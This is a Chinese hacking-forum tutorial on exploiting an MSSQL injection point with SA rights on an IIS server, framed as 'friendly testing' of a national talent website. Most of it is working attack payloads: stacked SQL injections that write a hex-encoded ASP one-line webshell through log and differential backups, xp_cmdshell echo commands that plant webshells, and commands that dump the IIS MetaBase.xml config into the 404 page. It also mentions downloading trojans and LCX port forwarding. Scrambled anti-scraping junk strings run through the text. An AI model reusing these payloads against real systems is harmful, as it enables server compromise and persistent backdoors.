sa权限的教程.

admin

————————————————————————九零后安全技术小组 | 90 Security  Team -- 打造90后网安精英团队  ———————————————————————————————


0 [" s/ h+ Z+ J6 E6 K- Q6 r                                                             欢迎高手访问指导，欢迎新手朋友交流学习。

                                                                 
* M, t: e# g  g                                                                 
, H" X* O% U/ n& W; [0 ~                                                                  论坛： http://www.90team.net/

. R7 ~& U1 j5 f  y' L+ m

友情检测国家人才网


/ D6 Z% M/ F! q; I4 j8 `) V内容：MSSQL注入SA权限不显错模式下的入侵

) N: V7 Z' f% P. N
# _, L% x' ~( e9 Y' |一般新手扫到不显错的SA（systemadmin）的注入点时，虽然工具能猜表列目录但还是很麻烦有的人就直接放弃了，今天我给大家演示下如何利用。方法很简单大家看操作。
) H! w  U8 F  t8 ^' S
2 N$ m& ^" t" q我这里使用的是 火狐的插件提交参数。跟在浏览器里直接提交一样。
* j  a* n8 N9 T; Y  C6 s, C

0 i+ l$ u% B+ }; ~5 }: r1 t$ b3 @这里的主机环境：MSSQL+JSP 权限为不显错的SA，支持多行执行 xp_cmdshell存活 服务器处于内网，WEB和数据库在同一台服务器上。注意这里服务器操作系统是windows2003，IIS，404页面的默认路径是 C:\Windows\Help\iisHelp\common\404b.htm。
/ X3 Z2 `  I: s! [- F
思路：

首先：

' W) P1 ?$ o0 I通过XP_CMDSHELL 执行命令再将执行结果指向IIS的404页面，然后访问WEB站点的一个不存在的目录得到命令执行结果，刺探服务器信息。
" w9 g, Q) S- I$ C7 t* A+ Q  R& k
1.日志备份获得Webshell

2.数据库差异备份获得Webshell

: m  A, g/ n) v: G3 S4.直接下载免杀远控木马。
  V) z- s3 w- K& c
5.直接下载LCX将服务器端口转发出来

- E% j7 U' b3 v0 E1 ]0 r3 x' k6.通过XP_CMDSHELL 执行命令读取iis配置文件（C:\Windows\system32\inetsrv\MetaBase.xml ）分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL上传LCX将服务器转发出来。


+ S( Z& o; \8 I( g0 r' [
) j, q6 z5 B8 t2 g0 R  ?8 w在这里我就不浪费大家时间了，我已经测试过  日志备份和 数据库差异备份 都没有成功 我就不演示了。  直接下载免杀木马。。这个也不用演示了。 直接在注入点后写入一个 DOWN 的VBS脚本下载就行了，
. p& f3 _2 h0 \) K0 k; s
# ~7 i- m! `! z( P* P我直接演示后面一个方法


分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL

; g" w9 W% ^' P7 B6 b' J* e
* h! Q. `6 Q1 r6 ^. y
) z2 @5 h, |! N. H9 j' u
& j" L& i8 F9 X) `8 A* W◆日志备份：
8 Q, ^! b9 M3 {) _
+ ^9 s6 p4 K; o  U
: M- x6 c* ^9 ~8 }$ t1. 进行初始备份
% c3 z8 A* z* d& G. n; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<e:\wwwroot\m.asp>' With Init--

% T# i8 M9 h4 V1 Y7 }. \# a2. 插入数据
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--
4 J6 B5 m9 G  ~: g) E% V$ k
2 r8 W- H# a% z. @& J0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
& z* [( d5 i, {  
3. 备份并获得文件，删除临时表
. h+ ~! Z3 h: ?( b. q: p: U2 D;Backup Log <数据库名> To Disk = '<e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--



% N; V, b: ~; D3 h◆数据库差异备份

（1. 进行差异备份准备工作

;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<0x633A5C746573742E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file--
0 P$ t1 R) F# B' Y/ e& s7 h" P2 Q
. T, t: E0 ~4 r3 f! x上面的 0x633A5C746573742E617370  是 c:\test.asp 路径转换后的16进制编码


（2. 将数据写入到数据库
) F4 c: Y, g$ `3 ]3 I. ~3 J;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--

0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
! p) J) g# v0 e0 Z( {
" K: x% z$ j! `0 t5 P  p7 C+ Q3. 备份数据库并清理临时文件
- J' T  O* @. X5 [$ {5 ]& J8 d
, K- |" ?. Y! k) [* a7 l) M7 X;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<0x633A5C746573742E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;--

0x633A5C746573742E617370  为 c:\test.asp  删除临时文件


' S0 e/ ]- C+ K6 W% h
/ I6 M6 ?* j- ]0 ~% q$ T用^转义字符来写ASP(一句话木马)文件的方法:   

5 o( G6 r# o2 F5 ?8 u1.注入点后执行;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("90"^)^</script^> >c:\mu.asp';--

; P/ N# ^+ C' S4 T: I  W" e2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp
* f7 a& V- |, K6 d3 }; p
读取IIS配置信息获取web路径
7 e+ W2 T% o0 L) ~9 t
     
' }! E4 V2 |1 g" R+ E7 f" I     注入点后面执行   ;exec master..xp_cmdshell 'copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm'--
( F, j" C' d+ p) O) c8 p4 }  X
执行命令
     
6 O- Y  }/ ~# Z/ s1 b" `" i! n1 V     注入点后面执行   ;exec master..xp_cmdshell 'ver >C:\Windows\Help\iisHelp\common\404b.htm'--
, b6 f& S% U) Y, q+ d6 e
, S0 f0 o0 p' B; E" d8 c




- A! R0 r% v7 M/ Q

. X# q5 c) K* Z4 r
6 o4 C6 f0 P8 M7 S3 \; P
0 h7 i5 U+ T' p2 n; K
! D' q* Y" k/ b; [; @  `/ Z
. S; u  ]# O6 T* \
$ [- x$ q9 t6 ^1 R( y- p% L& _
1 c% s  _* ?/ C  S


( B) f% y7 W& S. |


# V* _# I# W- A: y, i& P5 f
8 n: ?$ D! q8 j+ ~# _# a







  I( T& r3 Q6 r% n' ?3 e+ P% `
% H* r; f3 l3 a; P% B
( B* o& h1 C2 e, q5 q5 e
$ g) e' [4 g5 D  c9 H



: O7 M+ f# [  e4 Y0 Q

( l, j3 Q) x; Y6 U

$ C9 E* n$ B# `/ s
# {' I- x. Z! y
, H8 e  ?4 q+ t  _8 \+ k0 @


2 c  h/ k( \0 G) B
% s' ^' j5 w. C2 K
5 v+ L4 f- `. k* q& S2 V  H